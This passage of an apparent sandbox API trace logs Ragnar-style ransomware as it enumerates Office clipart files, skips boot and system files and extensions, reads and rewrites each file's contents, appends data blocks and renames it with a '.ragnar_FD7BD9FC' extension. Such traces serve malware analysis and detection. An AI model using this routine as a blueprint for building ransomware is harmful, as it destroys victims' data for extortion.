lpOverlapped=0x0) returned 1 [0085.498] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.498] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.498] GetProcessHeap () returned 0x580000 [0085.498] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.498] CloseHandle (hObject=0xf4) returned 1 [0085.498] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" [0085.498] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.ragnar_FD7BD9FC" [0085.498] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.499] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0085.499] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.499] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0186360.WMF" | out: lpString1="J0186360.WMF") returned="J0186360.WMF" [0085.499] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned=".WMF" [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="autorun.inf") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="boot.ini") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="bootfont.bin") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="bootsect.bak") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="bootmgr") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="bootmgr.efi") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="bootmgfw.efi") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="desktop.ini") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="iconcache.db") returned 1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="ntldr") returned -1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="ntuser.dat") returned -1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="ntuser.dat.log") returned -1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="ntuser.ini") returned -1 [0085.499] lstrcmpiW (lpString1="J0186360.WMF", lpString2="thumbs.db") returned -1 [0085.499] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.499] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.499] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.500] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.500] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.500] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.500] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 0x20 [0085.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.500] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33850) returned 1 [0085.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8431, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.500] GetProcessHeap () returned 0x580000 [0085.500] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.500] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.502] VirtualAlloc (lpAddress=0x0, dwSize=0x843a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.502] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x843a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x843a, lpOverlapped=0x0) returned 1 [0085.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.504] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x843a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.504] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x843a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x843a, lpOverlapped=0x0) returned 1 [0085.504] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x843a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.504] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x843a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.505] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.505] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.505] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.505] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.505] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.505] GetProcessHeap () returned 0x580000 [0085.505] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.505] CloseHandle (hObject=0xf4) returned 1 [0085.505] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" [0085.505] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.ragnar_FD7BD9FC" [0085.505] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0085.506] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.506] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0186362.WMF" | out: lpString1="J0186362.WMF") returned="J0186362.WMF" [0085.506] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned=".WMF" [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="autorun.inf") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="boot.ini") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="bootfont.bin") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="bootsect.bak") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="bootmgr") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="bootmgr.efi") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="bootmgfw.efi") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="desktop.ini") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="iconcache.db") returned 1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="ntldr") returned -1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="ntuser.dat") returned -1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="ntuser.dat.log") returned -1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="ntuser.ini") returned -1 [0085.506] lstrcmpiW (lpString1="J0186362.WMF", lpString2="thumbs.db") returned -1 [0085.506] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.506] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.506] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.506] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.506] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.506] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.506] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 0x20 [0085.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.507] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17662) returned 1 [0085.507] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x44f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.507] GetProcessHeap () returned 0x580000 [0085.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.507] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.510] VirtualAlloc (lpAddress=0x0, dwSize=0x44fe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.510] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x44fe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x44fe, lpOverlapped=0x0) returned 1 [0085.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.511] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.511] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x44fe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x44fe, lpOverlapped=0x0) returned 1 [0085.511] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.512] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x44fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.512] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.512] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.512] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.512] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.512] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.512] GetProcessHeap () returned 0x580000 [0085.512] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.512] CloseHandle (hObject=0xf4) returned 1 [0085.512] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" [0085.512] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.ragnar_FD7BD9FC" [0085.512] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.513] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0085.513] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.513] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0186364.WMF" | out: lpString1="J0186364.WMF") returned="J0186364.WMF" [0085.513] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned=".WMF" [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="autorun.inf") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="boot.ini") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="bootfont.bin") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="bootsect.bak") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="bootmgr") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="bootmgr.efi") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="bootmgfw.efi") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="desktop.ini") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="iconcache.db") returned 1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="ntldr") returned -1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="ntuser.dat") returned -1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="ntuser.dat.log") returned -1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="ntuser.ini") returned -1 [0085.513] lstrcmpiW (lpString1="J0186364.WMF", lpString2="thumbs.db") returned -1 [0085.513] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.513] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.514] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.514] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.514] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.514] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.514] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 0x20 [0085.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.514] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18212) returned 1 [0085.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x471b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.514] GetProcessHeap () returned 0x580000 [0085.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.514] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.516] VirtualAlloc (lpAddress=0x0, dwSize=0x4724, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.516] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4724, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4724, lpOverlapped=0x0) returned 1 [0085.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.517] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4724, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.517] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4724, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4724, lpOverlapped=0x0) returned 1 [0085.517] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4724, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.517] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.518] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.518] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.518] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.518] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.518] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.518] GetProcessHeap () returned 0x580000 [0085.518] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.518] CloseHandle (hObject=0xf4) returned 1 [0085.518] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" [0085.518] lstrcatW (in: 